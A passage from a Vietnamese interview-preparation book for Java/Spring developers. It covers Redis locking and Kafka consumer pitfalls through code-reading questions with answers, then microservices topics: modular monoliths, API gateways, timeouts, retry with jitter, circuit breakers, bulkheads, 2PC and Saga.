1. Sửa: bỏ lệnh xóa ở đầu method, xóa cache trong @TransactionalEventListener(phase = AFTER_COMMIT); chuyển lời gọi audit ra sau commit hoặc qua outbox.
Câu hỏi (Đọc code): Consumer dưới đây chống trùng như thế nào và vẫn còn lỗi gì?
	@Component
public class PointConsumer {
    // ... fields and constructor omitted
 
    @KafkaListener(topics = "order-paid", groupId = "loyalty")
    public void on(OrderPaid e) {
        if (processedRepo.existsById(e.eventId())) {
            return;                                    // already handled
        }
        pointService.addPoints(e.userId(), 100);       // @Transactional inside
        processedRepo.save(new Processed(e.eventId())); // separate transaction
    }
}



Đáp án:
Có hai lỗi: kiểm tra rồi mới ghi (check-then-act) và ghi "đã xử lý" ở transaction khác với cộng điểm.
1. Race: trong lúc rebalance, hai pod có thể cùng nhận E1, cùng existsById thấy false, cùng cộng điểm.
1. Không nguyên tử: addPoints commit xong, pod chết trước save, lần giao lại thấy chưa xử lý và cộng lần nữa. Ngược lại nếu đảo thứ tự, save thành công mà addPoints lỗi thì message bị bỏ qua oan.
1. Sửa: đặt @Transactional ở listener, dùng INSERT ... ON CONFLICT DO NOTHING (hoặc bắt lỗi trùng khóa chính) làm bước đầu tiên, rồi cộng điểm trong cùng transaction, như mẫu ở mục 8.10.
Câu hỏi (Đọc code): Giải phóng khóa Redis như dưới đây sai ở đâu?
	@Service
public class ReportJob {
    // ... fields and constructor omitted
 
    public void release(String lockKey, String myId) {
        String owner = redis.opsForValue().get(lockKey);   // step 1
        if (myId.equals(owner)) {
            redis.delete(lockKey);                         // step 2
        }
    }
}



Đáp án:
Kiểm tra chủ và xóa là hai lệnh riêng, nên giữa bước 1 và bước 2 khóa có thể hết hạn và bị pod khác lấy; bước 2 xóa nhầm khóa của pod đó.
1. Theo thời gian: A GET thấy khóa của mình; khóa hết TTL; B SET NX thành công; A DEL xóa khóa của B; C lại lấy được khóa, giờ B và C cùng chạy.
1. Sửa: dùng Lua script "GET, so sánh, DEL" như mục 8.6 (Redis chạy trọn script không xen lệnh khác), hoặc dùng RLock.unlock() của Redisson vốn đã làm việc đó.
Câu hỏi (Đọc code): Method đặt hàng dưới đây gửi event như thế nào, và sai ở đâu?
	@Service
public class OrderService {
    // ... fields and constructor omitted
 
    @Transactional
    public Long place(PlaceOrderCmd cmd) {
        Order order = orderRepo.save(Order.from(cmd));
        kafka.send("order-events", order.getId().toString(), OrderCreated.of(order));
        inventoryRepo.reserve(cmd.sku(), cmd.qty()); // may throw OutOfStockException
        return order.getId();
    }
}



Đáp án:
Đây là dual write: event được gửi lên Kafka trong khi transaction DB chưa commit và vẫn có thể rollback.
1. Nếu reserve ném OutOfStockException, transaction rollback, đơn không tồn tại, nhưng OrderCreated đã nằm trên Kafka; các service khác xử lý một đơn ma.
1. Ngược lại, nếu Kafka lỗi mạng mà send không được kiểm tra kết quả (nó bất đồng bộ), DB commit mà event mất.
1. Sửa: ghi event vào bảng outbox trong cùng transaction, relay gửi sau (mục 8.11). Nếu tạm chấp nhận rủi ro mất event, ít nhất gửi trong @TransactionalEventListener(AFTER_COMMIT) để không bao giờ gửi event cho đơn đã rollback.
Câu hỏi (Đọc code): Consumer dưới đây xử lý song song cho nhanh. Nó gây ra vấn đề gì?
	@Component
public class ShipmentConsumer {
    private final ExecutorService pool = Executors.newFixedThreadPool(16);
    // ... other fields and constructor omitted
 
    @KafkaListener(topics = "order-events", groupId = "shipment")
    public void on(OrderEvent e) {
        pool.submit(() -> shipmentService.handle(e)); // returns immediately
    }
}



Đáp án:
Listener trả về ngay nên offset được commit trước khi xử lý xong, và 16 thread phá thứ tự các event cùng một đơn.
1. Mất message: offset đã commit, pod chết khi task còn trong hàng đợi của pool thì các event đó không bao giờ được giao lại (thực chất thành at-most-once).
1. Sai thứ tự: OrderCreated và OrderCancelled của cùng đơn có thể chạy trên hai thread khác nhau, Cancelled xử lý trước Created.
1. Lỗi bị nuốt: exception trong task không tới error handler của Spring Kafka nên không retry, không vào DLT.
1. Sửa: xử lý đồng bộ trong listener và tăng song song bằng số partition cộng concurrency của container; nếu bắt buộc song song trong một partition, chia thread theo hash của key và tự quản lý commit offset.
8.13 Tóm tắt trọng tâm
1. Cache là bản sao gần và nhanh của dữ liệu gốc; chỉ cache dữ liệu đọc nhiều, chấp nhận cũ, và truy vấn gốc tốn kém, vì mọi cache đều đổi tính nhất quán lấy tốc độ.
1. Luôn đặt TTL, vì mọi cơ chế xóa cache bằng code đều có lúc sót (race, service khác ghi DB, gọi nội bộ không qua proxy).
1. Cache-aside là mặc định: đọc miss thì nạp từ DB, ghi thì cập nhật DB rồi xóa cache, vì xóa không bị lỗi đảo thứ tự như cập nhật.
1. Xóa cache sau commit, vì xóa trước commit cho phép request đọc chen vào nạp lại giá trị cũ.
1. @Cacheable hoạt động qua proxy nên dính self-invocation như @Transactional; sync = true chỉ chống stampede trong một JVM.
1. Penetration chống bằng validate, cache rỗng TTL ngắn, Bloom filter; breakdown chống bằng chỉ cho một request nạp lại; avalanche chống bằng TTL có jitter, Redis HA và bảo vệ DB.
1. Mỗi lệnh Redis là nguyên tử, còn chuỗi lệnh thì không; logic "kiểm tra rồi ghi" phải gói trong Lua script.
1. Khóa Redis có thể hết hạn khi chủ còn đang chạy, nên với nghiệp vụ tiền bạc, chốt đúng đắn cuối cùng là ràng buộc DB hoặc fencing token.
1. Kafka giữ thứ tự trong một partition; dùng key theo thực thể (orderId) để các event của cùng thực thể vào cùng partition.
1. Mỗi partition chỉ thuộc một consumer trong group, nên số partition là trần song song; consumer thừa ngồi chơi.
1. Theo dõi consumer lag theo từng partition: lag dồn một chỗ thường là poison message hoặc key nóng, lag đều là consumer chậm.
1. Thực tế là at-least-once, vì không thứ tự nào giữa "xử lý" và "commit offset" tránh được cả mất lẫn trùng; consumer phải idempotent bằng unique constraint trong cùng transaction.
1. Retry chỉ cho lỗi tạm thời và có giới hạn; lỗi vĩnh viễn vào DLQ ngay để không chặn cả partition.
1. Không thể gửi Kafka "trong" transaction DB; Transactional Outbox ghi event cùng transaction rồi relay gửi, đổi lại event có thể gửi trùng.
8.14 Checklist ôn tập
1. Phân biệt local cache và distributed cache, biết khi nào dùng cache hai tầng.
1. Viết được @Cacheable, @CacheEvict, giải thích bẫy self-invocation và sync = true.
1. Kể được 5 kiểu dữ liệu Redis và một use case cho mỗi kiểu.
1. Biết maxmemory-policy mặc định là noeviction và chọn policy phù hợp.
1. Giải thích cache-aside, vì sao xóa cache chứ không cập nhật, vì sao xóa sau commit.
1. Phân biệt penetration, breakdown, avalanche và cách chống từng loại.
1. Viết được lệnh SET NX PX và nêu rủi ro của khóa Redis.
1. Giải thích partition, offset, key, consumer group, ISR, acks trong Kafka.
1. So sánh Kafka và RabbitMQ bằng một bảng trong đầu.
1. Nói được vì sao thực tế là at-least-once và thiết kế idempotent consumer.
1. Mô tả retry có backoff, lỗi không retry được, DLQ và phát lại.
1. Giải thích dual write và Transactional Outbox, polling vs CDC.
Chương 9. Microservices và System Design cơ bản
Rất nhiều CV ghi "có kinh nghiệm microservices", nhưng khi tôi hỏi "service A gọi service B bị timeout thì đơn hàng ở trạng thái gì" thì phần lớn im lặng. Ở mức 2–4 năm, tôi không kỳ vọng bạn thiết kế hệ thống cho trăm triệu người dùng; tôi kỳ vọng bạn hiểu vì sao chia service, cái giá phải trả khi gọi qua mạng, và biết làm một bài system design nhỏ có cấu trúc, có ước lượng, có trade-off. Chương này đi từ các khái niệm cốt lõi đến cách làm bài system design trong buổi phỏng vấn.
	NGƯỜI PHỎNG VẤN MUỐN KIỂM TRA
1. Biết khi nào không nên dùng microservices và modular monolith là gì.
1. Hiểu các cơ chế resilience: timeout, retry có backoff và jitter, circuit breaker, bulkhead, rate limit.
1. Giải thích được vì sao tránh 2PC, Saga hoạt động ra sao, compensating transaction là gì.
1. Hiểu CAP đúng nghĩa và eventual consistency trong hệ thống thật.
1. Làm được bài system design nhỏ theo khung rõ ràng, có ước lượng con số.



9.1 Monolith, microservices và modular monolith
Microservices là cách tổ chức hệ thống thành nhiều service nhỏ, mỗi service sở hữu một nghiệp vụ (bounded context) và dữ liệu riêng, deploy độc lập. Lợi ích thật sự nằm ở chỗ nhiều team deploy độc lập và scale độc lập từng phần, không phải ở chỗ "code gọn hơn".
Giải thích các từ trong đoạn trên bằng lời thường:
1. Monolith: cả hệ thống là một ứng dụng, build ra một file (ví dụ một app.jar), chạy chung một process, thường dùng chung một database. Các phần gọi nhau bằng gọi hàm thông thường.
1. Microservices: hệ thống gồm nhiều ứng dụng nhỏ chạy riêng, mỗi cái một process, một database, gọi nhau qua mạng (HTTP, gRPC, message).
1. Bounded context: một vùng nghiệp vụ có ngôn ngữ và quy tắc riêng. Ví dụ chữ "sản phẩm" ở catalog nghĩa là mô tả, ảnh, giá niêm yết; ở kho nghĩa là số lượng, vị trí kệ. Mỗi bounded context là ứng viên tự nhiên cho một service.
1. Deploy độc lập: sửa và phát hành service thanh toán mà không phải build lại, test lại, dừng service catalog.
	Tiêu chí
	Monolith
	Microservices

	Deploy
	Một artifact, đơn giản
	Nhiều service, cần CI/CD và orchestration tốt

	Transaction
	ACID trong một DB
	Phân tán, phải dùng Saga, eventual consistency

	Gọi giữa các module
	Gọi hàm, nano giây
	Gọi mạng, mili giây, có thể lỗi

	Scale
	Scale cả khối
	Scale riêng phần nóng

	Quan sát, debug
	Một log, một stacktrace
	Cần tracing, log tập trung



Khi nào không nên dùng microservices: team nhỏ (dưới khoảng 10 người), sản phẩm mới chưa rõ ranh giới nghiệp vụ, chưa có CI/CD, monitoring, tracing, hoặc lý do duy nhất là "cho hiện đại". Chia sai ranh giới tạo ra distributed monolith: các service phải deploy cùng nhau, gọi nhau dây chuyền, dùng chung DB, mang toàn bộ nhược điểm của cả hai mô hình.
Modular monolith là lựa chọn tôi hay khuyên: một ứng dụng deploy duy nhất nhưng chia module theo nghiệp vụ, mỗi module có package riêng, chỉ lộ API public, không truy cập bảng của module khác. Khi một module thật sự cần scale hoặc đổi nhịp release riêng, tách nó ra thành service sẽ dễ hơn nhiều. Spring Modulith hoặc ArchUnit giúp kiểm tra ranh giới module bằng test.
	MẸO TỪ NGƯỜI PHỎNG VẤN
Câu trả lời làm tôi đánh giá cao: "Dự án của em chia 8 service, nhưng nhìn lại thì order và payment luôn deploy cùng nhau, lẽ ra nên gộp." Nhận ra sai lầm kiến trúc của chính mình là dấu hiệu trưởng thành.



Ví dụ cụ thể: một shop online ở ba mô hình
Hệ thống bán hàng gồm các nghiệp vụ: catalog, giỏ hàng, đơn hàng, kho, thanh toán, thông báo. Cùng một thao tác "đặt hàng" trông như sau ở từng mô hình:
	Mô hình
	Cấu trúc
	Luồng "đặt hàng"

	Monolith
	1 shop.jar, 1 PostgreSQL, code lẫn lộn giữa các package
	Một method @Transactional ghi orders, trừ inventory, ghi payments; lỗi thì rollback hết

	Modular monolith
	1 shop.jar, package order, inventory, payment chỉ gọi nhau qua interface public, mỗi module sở hữu bảng riêng
	Module order gọi InventoryApi.reserve(), vẫn chung một transaction

	Microservices
	6 service, 6 database, Kafka ở giữa
	order-service lưu đơn PENDING, gọi inventory-service qua HTTP, payment qua event; lỗi thì chạy bù trừ (mục 9.5)



Giải thích: với team 6 người và 2.000 đơn/ngày, monolith hoặc modular monolith đủ dùng, transaction ACID đơn giản, debug một stacktrace. Khi công ty có 5 team, catalog cần scale 20 instance cho mùa sale trong khi thanh toán chỉ cần 3, và team thanh toán muốn release hằng ngày mà không chờ ai, lúc đó tách service mới đáng cái giá phải trả: mạng chập chờn, dữ liệu phân tán, cần tracing.
9.2 Giao tiếp đồng bộ và bất đồng bộ
	Tiêu chí
	Sync (REST, gRPC)
	Async (Kafka, RabbitMQ)

	Phản hồi
	Có kết quả ngay
	Không chờ kết quả

	Coupling thời gian
	Cả hai phải cùng sống
	Consumer chết thì message chờ trong broker

	Nhất quán
	Dễ lập luận hơn
	Eventual consistency

	Dùng khi
	Truy vấn cần kết quả để trả cho user
	Thông báo sự kiện, tác vụ nền, lan truyền trạng thái



Chuỗi gọi đồng bộ dài là kẻ thù của availability: nếu mỗi service có availability 99,9% và một request đi qua 5 service nối tiếp, availability tổng chỉ còn khoảng 99,5%. Nguyên tắc của tôi: đọc dữ liệu cần ngay thì gọi sync; lan truyền thay đổi trạng thái thì dùng event.
Phép tính cụ thể: availability tổng của chuỗi nối tiếp là tích các availability, 0,999 × 0,999 × 0,999 × 0,999 × 0,999 ≈ 0,995. Đổi ra thời gian: 99,9% cho phép khoảng 43 phút ngừng mỗi tháng (30 × 24 × 60 × 0,001 ≈ 43), còn 99,5% là khoảng 216 phút, gấp 5 lần. Latency cũng cộng dồn: 5 service mỗi cái 40ms thì request mất ít nhất 200ms.
Ví dụ áp dụng nguyên tắc trên với luồng đặt hàng: kiểm tra giá và tồn kho để hiển thị cho user là sync (user cần câu trả lời ngay); sau khi đơn được tạo, việc gửi email, cộng điểm, cập nhật thống kê là async qua event OrderCreated (không ai cần chờ, và email service chết cũng không được làm hỏng việc đặt hàng).
9.3 API Gateway, service discovery, config tập trung
API Gateway (Spring Cloud Gateway, Kong, Nginx) là cửa vào duy nhất cho client: định tuyến, xác thực token, rate limit, CORS, gom log, đôi khi gộp response. Gateway không nên chứa logic nghiệp vụ, nếu không nó sẽ thành một monolith mới.
Service discovery giải quyết việc địa chỉ instance thay đổi liên tục. Có hai kiểu: client-side (Eureka, client tự hỏi registry rồi tự cân bằng tải) và server-side (Kubernetes Service: gọi http://inventory-service và kube-proxy/DNS lo phần còn lại). Khi chạy trên Kubernetes, gần như không cần Eureka nữa.
Config tập trung (Spring Cloud Config, Kubernetes ConfigMap và Secret, Vault) tách cấu hình khỏi artifact để cùng một image chạy được ở mọi môi trường. Secret không bao giờ nằm trong Git dạng plain text.
Ví dụ gateway: cấu hình Spring Cloud Gateway dưới đây định tuyến hai nhóm URL tới hai service và giới hạn tốc độ ở cửa vào.
	spring:
  cloud:
    gateway:
      routes:
        - id: orders
          uri: http://order-service          # Kubernetes Service name, resolved by DNS
          predicates:
            - Path=/api/orders/**
          filters:
            - name: RequestRateLimiter       # token bucket backed by Redis
              args:
                redis-rate-limiter.replenishRate: 50   # 50 tokens added per second
                redis-rate-limiter.burstCapacity: 100  # bucket holds at most 100
        - id: catalog
          uri: http://catalog-service
          predicates:
            - Path=/api/products/**



Giải thích: request GET /api/orders/42 khớp route orders và được chuyển tới http://order-service/api/orders/42; trên Kubernetes, tên order-service được DNS phân giải ra các pod đang sống, đó là server-side discovery. Bộ lọc rate limit cho mỗi client (mặc định theo principal, thường cấu hình thêm key-resolver theo user hoặc IP) trung bình 50 request/giây, được "bùng" tới 100; vượt quá thì gateway trả 429 mà order-service không hề nhận request. Gateway chỉ định tuyến và kiểm soát, không có dòng logic nghiệp vụ nào.
9.4 Resilience: timeout, retry, circuit breaker, bulkhead, rate limit
Gọi qua mạng thì phải giả định sẽ lỗi. Các cơ chế sau bổ trợ nhau:
1. Timeout: mọi lời gọi ra ngoài phải có connect timeout và read timeout. Không có timeout, một service chậm sẽ giữ hết thread của bạn và kéo sập bạn theo (cascading failure).
1. Retry với exponential backoff và jitter: chỉ retry lỗi tạm thời (timeout, 503), không retry 400. Backoff tăng dần (200ms, 400ms, 800ms) và jitter ngẫu nhiên để hàng nghìn client không retry cùng một thời điểm. Chỉ retry thao tác idempotent hoặc có idempotency key.
1. Circuit breaker: đếm tỷ lệ lỗi; vượt ngưỡng thì chuyển sang OPEN và fail nhanh không gọi nữa; sau một khoảng chờ chuyển HALF_OPEN cho vài request thử; thành công thì CLOSED trở lại.
1. Bulkhead: giới hạn số lời gọi đồng thời tới từng dependency để một dependency chậm không chiếm hết tài nguyên dùng chung.
1. Rate limit: bảo vệ chính mình khỏi quá tải (token bucket, sliding window), thường đặt ở gateway.
Timeout, retry, backoff và jitter bằng ví dụ số
	NHẮC LẠI KIẾN THỨC
Chỉ retry được thao tác idempotent (gọi lặp lại cho cùng kết quả): GET, PUT, DELETE theo chuẩn là idempotent, POST thì không, trừ khi kèm Idempotency-Key (xem mục 7.2 và 7.4).



Timeout là thời gian tối đa bạn chịu chờ. Có hai loại: connect timeout (chờ mở kết nối TCP, thường 1–2 giây, vượt nghĩa là service đích không tới được) và read timeout (chờ response sau khi đã gửi request, đặt theo p99 của service đích cộng biên an toàn). Ví dụ inventory-service có p99 là 300ms thì read timeout khoảng 1 giây là hợp lý; để mặc định vô hạn là tự sát.
Vì sao thiếu timeout kéo sập cả service, với số cụ thể: Tomcat có 200 thread. Trang sản phẩm nhận 100 request/giây, mỗi request gọi inventory-service. Bình thường mỗi lời gọi mất 50ms, chỉ khoảng 5 thread bận. Inventory treo, mỗi lời gọi chờ 30 giây: sau 2 giây đã có 200 request đang chờ, hết thread, và mọi API khác của service (kể cả API không liên quan tới kho) cũng không phục vụ được. Với read timeout 1 giây, số thread bận tối đa khoảng 100 × 1 = 100, service vẫn sống.
Retry với backoff nghĩa là chờ tăng dần giữa các lần thử để service đích có thời gian hồi phục. Jitter là cộng hoặc thay thời gian chờ bằng một số ngẫu nhiên, để các client không thử lại cùng một lúc. Đoạn code dưới đây tính thời gian chờ theo cấp số nhân (gốc 200ms, trần 2 giây) và theo kiểu "full jitter" (ngẫu nhiên từ 0 tới giá trị cấp số nhân).
	import java.util.Random;
 
public class BackoffDemo {
    public static void main(String[] args) {
        long base = 200, cap = 2_000;
        Random random = new Random(42); // fixed seed so the output is repeatable
        for (int attempt = 1; attempt <= 5; attempt++) {
            long exp = Math.min(cap, base * (1L << (attempt - 1))); // 200, 400, 800, 1600, 2000
            long jittered = random.nextLong(exp + 1);               // full jitter: random in [0, exp]
            System.out.println("retry " + attempt + ": backoff=" + exp + "ms, with jitter=" + jittered + "ms");
        }
        // prints:
        // retry 1: backoff=200ms, with jitter=49ms
        // retry 2: backoff=400ms, with jitter=87ms
        // retry 3: backoff=800ms, with jitter=725ms
        // retry 4: backoff=1600ms, with jitter=749ms
        // retry 5: backoff=2000ms, with jitter=144ms
    }
}



Giải thích: không có jitter, 1.000 client cùng lỗi lúc 10:00:00.000 sẽ cùng retry đúng lúc 10:00:00.200, rồi cùng lúc 10:00:00.600, tạo ra những "đợt sóng" 1.000 request dồn vào service vừa mới hồi. Có jitter, lần retry thứ nhất của 1.000 client rải đều trong khoảng 0–200ms, tức khoảng 5 request mỗi mili giây thay vì 1.000 request trong cùng một mili giây. Trần 2 giây ngăn thời gian chờ tăng vô hạn. Seed cố định chỉ để output lặp lại được; code thật dùng ThreadLocalRandom.
Circuit breaker: bảng trạng thái
Circuit breaker giống cầu dao điện: khi thấy dòng lỗi quá lớn thì "ngắt" để bảo vệ phần còn lại, sau một lúc thử đóng lại xem đã ổn chưa.
	Trạng thái
	Hành vi khi có lời gọi
	Chuyển sang khi

	CLOSED
	Gọi thật, ghi nhận thành công/lỗi
	OPEN nếu tỷ lệ lỗi trong cửa sổ vượt ngưỡng

	OPEN
	Không gọi, ném lỗi ngay (fail fast)
	HALF_OPEN sau thời gian chờ (ví dụ 30 giây)

	HALF_OPEN
	Cho vài lời gọi thử đi qua
	CLOSED nếu lời gọi thử ổn, OPEN nếu vẫn lỗi



Ví dụ số với cấu hình ở dưới (cửa sổ 20 lời gọi, ngưỡng 50%, chờ 30 giây, 5 lời gọi thử):
	Thời điểm
	Sự kiện
	Trạng thái

	10:00:00
	20 lời gọi gần nhất có 4 lỗi (20%)
	CLOSED

	10:00:05
	Inventory quá tải, 20 lời gọi gần nhất có 11 lỗi (55%)
	chuyển OPEN

	10:00:05–10:00:35
	3.000 request bị từ chối ngay, trả fallback, không gọi mạng
	OPEN

	10:00:35
	Hết 30 giây
	HALF_OPEN

	10:00:36
	5 lời gọi thử: 1 lỗi (20%, dưới ngưỡng)
	chuyển CLOSED



Đoạn code dưới đây là một circuit breaker tối giản (đếm 3 lỗi liên tiếp thay vì tỷ lệ trong cửa sổ) để thấy các bước chuyển trạng thái.
	public class BreakerDemo {
    enum State { CLOSED, OPEN, HALF_OPEN }
    static State state = State.CLOSED;
    static int failures = 0;
    static long openedAt = 0;
 
    static String call(long now, boolean backendOk) {
        if (state == State.OPEN) {
            if (now - openedAt < 30) return "rejected fast (OPEN)"; // no network call at all
            state = State.HALF_OPEN;                               // wait is over: allow a trial call
        }
        if (backendOk) { state = State.CLOSED; failures = 0; return "ok (" + state + ")"; }
        failures++;
        if (state == State.HALF_OPEN || failures >= 3) { state = State.OPEN; openedAt = now; }
        return "failed (" + state + ")";
    }
 
    public static void main(String[] args) {
        System.out.println(call(0, false));  // prints: failed (CLOSED)
        System.out.println(call(1, false));  // prints: failed (CLOSED)
        System.out.println(call(2, false));  // prints: failed (OPEN)
        System.out.println(call(10, true));  // prints: rejected fast (OPEN)
        System.out.println(call(33, false)); // prints: failed (OPEN)
        System.out.println(call(64, true));  // prints: ok (CLOSED)
    }
}



Giải thích: hai lỗi đầu vẫn CLOSED; lỗi thứ ba ở giây 2 chạm ngưỡng nên chuyển OPEN. Ở giây 10 backend thật ra đã ổn nhưng breaker vẫn từ chối ngay vì chưa đủ 30 giây, không tốn kết nối nào. Giây 33 đã quá 30 giây nên chuyển HALF_OPEN và cho một lời gọi thử; lời gọi này lỗi nên quay lại OPEN và đếm lại 30 giây từ giây 33. Giây 64 lời gọi thử thành công nên về CLOSED. Resilience4j làm cùng ý tưởng nhưng dùng tỷ lệ lỗi trong cửa sổ trượt, tính cả lời gọi chậm (slow-call-rate-threshold), và an toàn đa luồng.
Bulkhead bằng ví dụ số
Bulkhead lấy tên từ vách ngăn trên tàu: một khoang thủng nước thì các khoang khác vẫn khô. Ví dụ service có 200 thread và gọi 3 dependency. Không có bulkhead, dependency chậm có thể giữ cả 200 thread. Đặt bulkhead 30 lời gọi đồng thời cho inventory: khi inventory treo, tối đa 30 thread bị giữ, lời gọi thứ 31 bị từ chối ngay (BulkheadFullException) và nhận fallback, còn 170 thread tiếp tục phục vụ các API khác. Circuit breaker phản ứng sau khi đã thấy đủ lỗi; bulkhead giới hạn thiệt hại ngay từ đầu, nên hai cơ chế dùng cùng nhau.
Tình huống: trang chi tiết sản phẩm gọi inventory-service để lấy tồn kho. Khi service này chậm hoặc lỗi, trang sản phẩm không được sập theo. Đoạn code dưới đây dùng Resilience4j bọc lời gọi bằng retry và circuit breaker.
	@Service
public class InventoryClient {
    private final RestClient restClient;
 
    public InventoryClient(RestClient.Builder builder) {
        this.restClient = builder.baseUrl("http://inventory-service").build();
    }
 
    // Retry wraps CircuitBreaker; fallback sits on the outermost layer so Retry still sees the exception
    @Retry(name = "inventory", fallbackMethod = "fallback")
    @CircuitBreaker(name = "inventory") // every call (retries included) counts toward the failure rate
    public StockDto getStock(String sku) {
        return restClient.get().uri("/stocks/{sku}", sku).retrieve().body(StockDto.class);
    }
 
    // Same parameters as the original method, plus a trailing Throwable
    private StockDto fallback(String sku, Throwable ex) {
        return StockDto.unknown(sku); // show "updating" instead of a 500 error
    }
}



Giải thích: khi inventory-service trả 503 hoặc timeout, lời gọi được thử lại tối đa 3 lần; cả 3 lần đều lỗi thì fallback trả về StockDto.unknown(sku), người dùng thấy "đang cập nhật" thay vì trang lỗi. Khi tỷ lệ lỗi vượt ngưỡng, circuit breaker chuyển OPEN và ném ngay CallNotPermittedException mà không gọi mạng, nên service của bạn không phí thread chờ một dependency đang chết. Cơ chế: các annotation hoạt động qua Spring AOP proxy (cần resilience4j-spring-boot3 và spring-boot-starter-aop), vì vậy cũng dính bẫy self-invocation như @Transactional. Lưu ý vị trí fallbackMethod: nếu đặt fallback trên @CircuitBreaker (tầng trong), fallback nuốt exception ngay lần gọi đầu, @Retry ở tầng ngoài nhận về kết quả "thành công" và không bao giờ retry. Đặt fallback ở @Retry (tầng ngoài cùng) thì retry chạy đủ lượt rồi mới rơi vào fallback.
Các tham số tương ứng khai báo trong application.yml:
	resilience4j:
  circuitbreaker:
    instances:
      inventory:
        sliding-window-size: 20                       # failure rate over the last 20 calls
        failure-rate-threshold: 50                    # 50% failures or more -> OPEN
        wait-duration-in-open-state: 30s              # stay OPEN 30s, then HALF_OPEN
        permitted-number-of-calls-in-half-open-state: 5  # allow 5 trial calls in HALF_OPEN
  retry:
    instances:
      inventory:
        max-attempts: 3                               # 3 calls in total, including the first
        wait-duration: 200ms                          # wait before the first retry
        enable-exponential-backoff: true
        exponential-backoff-multiplier: 2             # 200ms, then 400ms



Giải thích: với cấu hình này, nếu trong 20 lời gọi gần nhất có từ 10 lời gọi lỗi, circuit mở và mọi lời gọi trong 30 giây tiếp theo bị từ chối ngay. Hết 30 giây, circuit sang HALF_OPEN và cho đúng 5 lời gọi thật đi qua: nếu tỷ lệ lỗi của 5 lời gọi này dưới ngưỡng thì trở về CLOSED, ngược lại mở lại thêm 30 giây. Phía retry, một request lỗi được gọi lại sau 200ms, lỗi tiếp thì sau 400ms, tổng cộng 3 lần. Cần để ý hai điểm: max-attempts đã tính cả lần gọi đầu (không phải 3 lần retry), và nên cấu hình để retry bỏ qua CallNotPermittedException, vì retry khi circuit đang mở chỉ phí thời gian chờ.
	GHI CHÚ
Hystrix đã ngừng phát triển từ 2018 và không hỗ trợ Spring Boot 3. Nếu tài liệu cũ nhắc Hystrix, hãy trả lời bằng Resilience4j. Jitter trong Resilience4j cấu hình qua IntervalFunction.ofExponentialRandomBackoff.



	BẪY THƯỜNG GẶP
Retry ở mọi tầng: gateway retry 3 lần, service A retry 3 lần, service B retry 3 lần, và một request lỗi biến thành 27 request đập vào service cuối đang quá tải. Chỉ retry ở một tầng và luôn có giới hạn.



9.5 Distributed transaction: 2PC và Saga
	NHẮC LẠI KIẾN THỨC
ACID (mục 6.3) chỉ có trong một database: một transaction hoặc commit hết hoặc rollback hết. Khi nghiệp vụ trải trên nhiều DB, ta mất bảo đảm đó. Cách gửi event đáng tin cậy sau khi commit là Transactional Outbox, và consumer phải idempotent (mục 8.10, 8.11).



Khi một nghiệp vụ trải trên nhiều service, mỗi service có DB riêng, không còn một transaction ACID bao trọn.
2PC (Two-Phase Commit): coordinator hỏi mọi bên "prepare được không", tất cả đồng ý thì "commit". Nhược điểm: các bên giữ khóa suốt thời gian chờ, coordinator chết giữa chừng làm các bên bị treo (blocking), latency cao, và Kafka, nhiều NoSQL hay REST API đối tác không tham gia XA được. Vì vậy trong microservices hầu như không dùng.
Saga: chia nghiệp vụ thành chuỗi local transaction; mỗi bước commit ngay trong service của nó. Nếu một bước thất bại, chạy các compensating transaction để "hoàn tác theo nghĩa nghiệp vụ" các bước trước: hủy đơn, trả lại tồn kho, hoàn tiền. Compensation không phải rollback: dữ liệu trung gian đã được người khác nhìn thấy, và bản thân compensation có thể lỗi nên phải idempotent và retry được.
	Tiêu chí
	Choreography
	Orchestration

	Cách chạy
	Mỗi service nghe event và phát event tiếp
	Một orchestrator ra lệnh từng bước

	Ưu
	Không có điểm trung tâm, coupling thấp
	Luồng rõ ràng, dễ theo dõi, dễ thêm bước

	Nhược
	Khó thấy toàn cảnh, dễ vòng lặp event
	Orchestrator dễ thành nơi chứa quá nhiều logic

	Hợp khi
	2–4 bước đơn giản
	Luồng dài, nhiều nhánh, cần timeout từng bước



Ví dụ saga đặt hàng theo orchestration: tạo đơn PENDING → giữ tồn kho → thanh toán → xác nhận đơn CONFIRMED. Thanh toán thất bại thì orchestrator gọi nhả tồn kho rồi chuyển đơn sang CANCELLED. Trạng thái PENDING đóng vai trò "semantic lock": các nghiệp vụ khác biết đơn chưa chốt để không xử lý tiếp.
Kịch bản đặt hàng bằng 2PC, từng bước
Đơn 1001 mua 1 sản phẩm sku-9 giá 500.000đ. Coordinator là order-service, hai participant là inventory DB và payment DB.
1. Phase 1 (prepare): coordinator gửi "prepare" tới inventory: inventory trừ tạm tồn kho sku-9 từ 5 xuống 4, ghi vào log, giữ khóa dòng sku-9, trả "yes".
1. Coordinator gửi "prepare" tới payment: payment ghi tạm giao dịch trừ 500.000đ, giữ khóa dòng tài khoản, trả "yes".
1. Phase 2 (commit): cả hai đều "yes", coordinator ghi quyết định "commit" vào log của mình, gửi "commit" tới hai bên. Mỗi bên commit và nhả khóa.
1. Nếu bước 2 trả "no" (không đủ tiền): coordinator gửi "rollback" tới cả hai, inventory hoàn tồn kho về 5 và nhả khóa.
Chỗ hỏng: coordinator chết ngay sau bước 2, trước khi gửi quyết định. Inventory và payment đã nói "yes" nên không được tự commit hay tự rollback; chúng giữ khóa dòng sku-9 và dòng tài khoản cho tới khi coordinator sống lại. Trong lúc đó mọi đơn khác mua sku-9 phải chờ khóa. Đây là tính chất blocking của 2PC, cộng với việc Kafka hay API đối tác không nói được "prepare", nên microservices tránh 2PC.
Kịch bản đặt hàng bằng Saga, kể cả bù trừ
Cùng đơn 1001, orchestration saga. Mỗi bước là một local transaction commit ngay trong service của nó.
	Bước
	Service
	Hành động
	Bù trừ nếu bước sau lỗi

	1
	order
	Tạo đơn 1001 PENDING
	Chuyển đơn sang CANCELLED

	2
	inventory
	Giữ 1 sku-9 (5 → 4)
	Nhả hàng (4 → 5)

	3
	payment
	Trừ 500.000đ
	Hoàn 500.000đ

	4
	order
	Chuyển đơn sang CONFIRMED
	(bước cuối, không cần)



Luồng thành công: 1 → 2 → 3 → 4, mỗi bước commit xong thì phát event (qua outbox) để orchestrator ra lệnh bước tiếp theo.
Luồng lỗi ở bước 3 (thẻ bị từ chối): payment trả PaymentFailed. Orchestrator chạy bù trừ theo thứ tự ngược: nhả hàng ở inventory (4 → 5), rồi chuyển đơn sang CANCELLED. Giữa bước 2 và lúc bù trừ, người khác đã có thể thấy tồn kho là 4; đó là lý do compensation khác rollback. Đoạn code dưới đây mô phỏng orchestrator chạy từng bước và bù trừ ngược khi gặp lỗi.
	import java.util.*;
 
public class SagaDemo {
